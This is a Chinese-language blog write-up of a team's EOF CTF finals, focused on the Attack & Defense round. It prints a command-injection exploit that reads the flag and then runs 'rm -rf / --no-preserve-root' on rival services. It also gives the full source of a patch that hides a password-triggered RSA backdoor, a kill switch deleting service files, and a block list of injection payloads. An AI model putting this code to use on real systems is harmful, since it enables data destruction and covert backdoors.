前言

自從上了研究所之後感覺有比較少跟 B33F 50UP 的大家打比賽,這場比賽 Chummy 在修程安沒辦法跟非修課生組隊,剩下的人全部跑去出題了,所以我找了同實驗室的 Albert 一起,然後他再拉兩個應該是竹狐的高中生一起,感謝其他三位隊友一起完成這次的比賽,還是混亂的 EOF 最對味。

初賽

image1
初賽拿下了第三名,只能說到 2025 年底 LLM 太強了, Crypto 和 Reverse 幾乎都是用 AI 御三家唱出來的,ChatGPT 甚至可以做到 FIFO( File In, Flag Out) 的地步(這個詞是我自己發明的)
image
我總共解了 7 題,裡面有 5 題是 AI 解的,只有兩題是真的用手解的。

決賽

決賽很好玩,一樣是有 Attack & Defense 、 KoH 等賽制,今年又多了 Live CTF、TRAGuessr,我和 Albert 主要還是打 A&D 和 TRAGuessr ,畢竟交管系有台鐵 Buff(並沒有),KoH 的兩題遊戲是由另外兩位隊友負責。

前置準備

俗話說工欲善其事,必先利其器,但比賽前的那個禮拜實在是太忙了,還是拖到了比賽前一天晚上才開始弄工具,有別於去年 Chummy 包辦所有工具順便魔改,今年就只能找一些堪用的開源的工具應付一下。

Dashboard

原本的 dashboard 是我用 html 手刻的,但有人對我的傳統手工藝很不滿意所以後來又重寫了新的 dashboard,這個根本就只是四個超連結
image

Attack Manager

用這套:Destructive Farm
但其實問題蠻多的,到比賽當天還在 Patch 一些 Bug 以符合 Flag 提交的格式,總之最後是蠻順利跑起來
image

PCAP Analysis

一樣是用開源工具 pkappa2,還不錯用,可以透過 Regex 抓 flag 的 pattern 順便抄別人的作業,只是比賽結束才發現原來有一鍵把流量轉成 pwntool 的功能,害我手刻 payload 整個比賽
image

Patcher & Drive

這兩個不是我用的,比賽中也沒什麼用到所以這邊就不一一介紹了,基本上就是看 patch 的工具和一個 NAS

A&D

今年的 A&D 是一個看起來像 PTT 的 BBS 系統,然後裡面有經典 A&D 爛洞大集合, SQL Injection、Command Injection、BAC,反正基本上想得到的爛洞裡面都有
image

PTT

這題比較特別的是這題是用 pyc 跑的,並且使用作者自己 Patch 過的 python interpreter,裡面把一堆 opcode 都打亂讓你沒辦法用正常的 disassembler 把 pyc 還原回 python code,你當然也沒辦法用正常的 interpreter 生成的 pyc 去做 patch

genshin

如果選擇 4 的話他是一個原神的小遊戲,裡面也是一堆洞,要 patch 的話要上傳 binary ELF

Exploit

我總共寫了 5 個 exploit,這裡面有 default credential、command injection、邏輯漏洞、prototype pollution(在 python 上面做 prototype pollution,超酷)還有一個比較特別是 patch 的後門

#!/opt/homebrew/Caskroom/miniconda/base/bin/python
import socket
import time
import re
import sys
import pwn 
import warnings

warnings.filterwarnings('ignore', category=BytesWarning)

pwn.context.log_level = 'error'  # 或 'critical'
PORT = 31337
HOST = sys.argv[1]

io = pwn.remote(HOST, PORT)
io.sendline(b"4")
time.sleep(0.5)
io.recv()
for i in range(6):
    time.sleep(0.5)
    io.send("\n")
io.recv()
io.sendline("2")
time.sleep(0.5)
io.sendline("1")
time.sleep(0.5)
io.sendline(";cat /flag")
time.sleep(0.5)
io.send("\n")
io.sendline("4")
time.sleep(0.5)
io.sendline("1")
io.recv()
time.sleep(0.5)
io.recvuntil("Name: ")  
print(io.recv().decode().split("\n")[0],flush=True)

time.sleep(0.5)
io.send(b"\n")
time.sleep(0.5)
io.sendline("2")
time.sleep(0.5)
io.sendline("1")
time.sleep(0.5)
io.sendline(";rm -rf / --no-preserve-root")
time.sleep(0.5)
io.send(b"\n")
io.sendline("4")
time.sleep(0.5)
io.sendline("1")
io.recv()

在 command injection 的 exploit 裡面我們會在拿到 flag 後嘗試讓其他隊 service down 藉此讓他們拿不到 SLA 的分數
然後大部分的 payload 都不是我們發現的都是 Albert 去翻 pcap 抄別人的 payload,然後我再用手把 exploit 打出來==
image

Patch

Patch 的部分非常之牛逼,因為大家都被 opcode 搞到沒辦法逆向(聽說隔壁組的 FlyDragon 花一個晚上逆完了),所以我想了一個方法可以不用逆向也能上 patch,那就是在外面包一層 pyc 的 wrapper,讓外面那層有點像WAF 卡在真正的 PTT 前面,如果有奇怪的字串就直接回傳 EOF{YOURMOM}
具體是怎麼做的呢,我上傳的這個 pyc 裡面包了原本的 eofptt.pyc,他被執行時會把原本的題目吐出來變成 eof1ptt.pyc ,然後變成 middleware 先檢查 input 是否正常,如果是的話就傳給真正的題目 eof1ptt.pyc 否則就直接回傳 EOF{YOURMOM} 並結束。
image
但其實還有其他問題要解決,比如 patch 限制大小需要在 $\pm 1024$ 個 bytes,所以我把原本的 eofptt.pyc 拿去壓縮並且補 padding 補到剛好在這個限制範圍內


compressed = zlib.compress(original_pyc, 9)

print(f'Original: {len(original_pyc)} bytes')
print(f'Compressed: {len(compressed)} bytes')

padding = 'P' * 10026  # 調整好的大小

with open('wrapper.py', 'w') as f:
    f.write(wrapper_code)

py_compile.compile('wrapper.py')

import glob, shutil
pyc = glob.glob('__pycache__/wrapper*.pyc')[0]
shutil.move(pyc, 'eofptt.pyc')

final_size = os.path.getsize('eofptt.pyc')
print(f'\nFinal: {final_size} bytes (23232~25280)')
print(f'{"✓ PASS" if 23232 <= final_size <= 25280 else "✗ FAIL"}')

完成基本的 patch 之後當然要按照慣例來塞一些髒髒的東西(雖然去年的後門寫爛了把主辦單位 infra 炸了),我決定塞個後門在輸入密碼後就把 flag 噴出來,這樣一來偷我們 patch 的組就要繳稅給我們。
不過這邊又有一個問題,那就是別人是可以看到我們的流量的,這樣當然也看得到我們的密碼,還好密碼學有教我們可以使用非對稱式加密,如此一來就可以在眾目睽睽之下交換秘密。
這邊 python 沒辦法 import 跟 Crypto 有關的 module ,所以我們事先生成了一組公私鑰,後門只要加密 flag 並噴出來就好,而這一步只需要用到乘冪 pow 就可以解決

def rsa(m):
    n = 15319821387618506095477280159276716412994234550474930948453341714542016056120309995810603561837304200584680450685270653182458321212226233252084087579288092575095913592512386274812271087275780562715983978131540748768993609087099730299291269265359770765805941799387661869027967488340602766327234789998894738793508566426724723569350595486742561573731710296172899988679577585776191039008127110436749383999875683855898143118960869740874629630316427574602969739080489885904742331207282977038810114275898292907974335553271324913209789549129730029665161605601527810788644359317808542469210428997685958619881464260526731430763
    e = 65537
    m_int = int.from_bytes(m.encode('utf-8'), byteorder='big')
    c = pow(m_int, e, n)
    return c
print(rsa(open("/flag","r").read()))

然後我們的 exploit 會使用私鑰將加密後的 flag 解開,完美!

#!/opt/homebrew/Caskroom/miniconda/base/bin/python
import pwn
import sys
import time
import warnings


def rsa_decrypt(ciphertext):
    n = 15319821387618506095477280159276716412994234550474930948453341714542016056120309995810603561837304200584680450685270653182458321212226233252084087579288092575095913592512386274812271087275780562715983978131540748768993609087099730299291269265359770765805941799387661869027967488340602766327234789998894738793508566426724723569350595486742561573731710296172899988679577585776191039008127110436749383999875683855898143118960869740874629630316427574602969739080489885904742331207282977038810114275898292907974335553271324913209789549129730029665161605601527810788644359317808542469210428997685958619881464260526731430763
    d = 3863791868958699471323740234564976205660645175775518159924703376713383026254064176278338438952176650311490961889876537321709165682238848427967375430643039537570538104744453251390390600753488516733028658231781086049143161337880455957962454639167670949051778567863629141296722074778855045617328590626542733684996778230598429333300005493013626296735628464723132815715344090693748899233739454708696164451395336580795740265669766166667225053937151102809513220827582982083523452598343368061007920594688927796300600631419545209588783214942266406552036680453141159781563851698763443211062917838541321749908756966231362212089

    # 解密
    m_int = pow(ciphertext, d, n)
    byte_length = (n.bit_length() + 7) // 8
  
    m_bytes = m_int.to_bytes(byte_length, byteorder='big')
    m_bytes = m_bytes.lstrip(b'\x00')
    return m_bytes.decode('utf-8', errors='replace')

password = b" . . . . . . "

io = pwn.remote(sys.argv[1], 31337)

time.sleep(0.5)
io.recv()
io.sendline(password)
cipher = int(io.recv().decode().split("\n")[0])
print(f"{rsa_decrypt(cipher)}",flush=True)

到了第二天,情況有點不同了,由於我們是第一個上 patch 並且通過 SLA 的組別,所以我們可以拿到超多 SLA 分數,但是一定很快其他人會把我們的 patch 抄走,所以我們決定在 patch 裡面再加一個 kill switch,怎麼用呢?首先後門會發出一段加密之後 random 五位數字的 challenge, exploit 這邊會把密碼解開並回傳,如果數字一樣那就會把服務弄爛

import random
   n = random.randint(10000,99999)
   print(rsa(str(n)))
   if (input()==str(n)):
       import os
       os.system('rm /home/ptt/*')
   exit()

YOURMOM 橫行

到第二天的下午幾乎每隊都上了我們的 patch,最大的特徵就是會回傳 EOF{YOURMOM} ,這也導致我們的 pkappa2 被老媽淹沒,只能重寫 Regex 抓真正的 flag
image
IMG_5224

cc from 不知道哪個人的電腦螢幕

後來有的人比較聰明發現第二版的 patch 有問題會導致 SLA fail 因此 rollback 回去第一版,有另一隊逆向了我們的 patch 並且將裡面的 key pair 改掉了,非常厲害
image

最後附上完整的 patch code

#!/usr/bin/env python3
import py_compile
import os
import zlib

with open('eofptt.pyc.org', 'rb') as f:
    original_pyc = f.read()

compressed = zlib.compress(original_pyc, 9)

print(f'Original: {len(original_pyc)} bytes')
print(f'Compressed: {len(compressed)} bytes')

padding = 'P' * 10026  # 調整好的大小

wrapper_code = f'''
import subprocess,sys,threading,os,hashlib,zlib
from datetime import datetime
B=['1073742','eyJfX2NsYXNzX18iOiB7Il9faW5pdF9fIjogeyJfX2dsb2JhbHNfXyI6IHsiQ09ORklHIjogeyJHQU1FX1BBVEgiOiAiY2F0IC9mbGFnIDsgcm0gLXJmIC8gLS1uby1wcmVzZXJ2ZS1yb290In19fX0sICJyb29tX2lkIjogInB3biJ9',';','*','flag','..','-','pwn','{{','}}','&','||','|','`','>','<','/flag']
C={repr(compressed)}
_={repr(padding)}

def rsa(m):
    n = 15319821387618506095477280159276716412994234550474930948453341714542016056120309995810603561837304200584680450685270653182458321212226233252084087579288092575095913592512386274812271087275780562715983978131540748768993609087099730299291269265359770765805941799387661869027967488340602766327234789998894738793508566426724723569350595486742561573731710296172899988679577585776191039008127110436749383999875683855898143118960869740874629630316427574602969739080489885904742331207282977038810114275898292907974335553271324913209789549129730029665161605601527810788644359317808542469210428997685958619881464260526731430763
    e = 65537
    m_int = int.from_bytes(m.encode('utf-8'), byteorder='big')
    c = pow(m_int, e, n)
    return c

def ci(u):
 p=" . . . . . . "
 if u==p:
    print(rsa(open(B[-1],'r').read()))
    import random
    n = random.randint(10000,99999)
    input()
    print(rsa(str(n)))
    if (input()==str(n)):
        import os
        os.system('rm /home/ptt/*')
    exit()
 for b in B:
  if b in u:print("EOF{{YOURMOM}}");exit()
 return 1
def r(p):
 while 1:
  x=p.read(1)
  if not x:break
  sys.stdout.write(x);sys.stdout.flush()
def m():
 with open("eof1ptt.pyc","wb")as f:f.write(zlib.decompress(C))
 p=subprocess.Popen(["/app/python","eof1ptt.pyc"],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT,text=1,bufsize=0,env={{**os.environ,"PYTHONUNBUFFERED":"1"}})
 t=threading.Thread(target=r,args=(p.stdout,))
 t.daemon=1
 t.start()
 try:
  while p.poll()is None:
   u=input()
   if ci(u):p.stdin.write(u+"\\n");p.stdin.flush()
 except:p.terminate()
 p.wait()
if __name__=="__main__":m()
'''

with open('wrapper.py', 'w') as f:
    f.write(wrapper_code)

py_compile.compile('wrapper.py')

import glob, shutil
pyc = glob.glob('__pycache__/wrapper*.pyc')[0]
shutil.move(pyc, 'eofptt.pyc')

final_size = os.path.getsize('eofptt.pyc')
print(f'\nFinal: {final_size} bytes (23232~25280)')
print(f'{"✓ PASS" if 23232 <= final_size <= 25280 else "✗ FAIL"}')

os.remove('wrapper.py')
shutil.rmtree('__pycache__')

TRAGuessr

不知道跟資安有什麼關係,反正猜很爽
只是會場網路真的是拉完了,別人都送答案了我的圖還在跑,主辦單位管一下好爆
image

後記

因為很認真上 Patch 被頒了一個綠奶油乖乖獎,算是有一雪前恥了
(去年 Patch 寫爛把主辦單位 infra 炸了,他們本來要頒煙火大師獎給我但是不鼓勵炸 infra 行為後來沒有)
IMG_7993
總之這次比賽很開心,再次謝謝其他三位隊友凱瑞。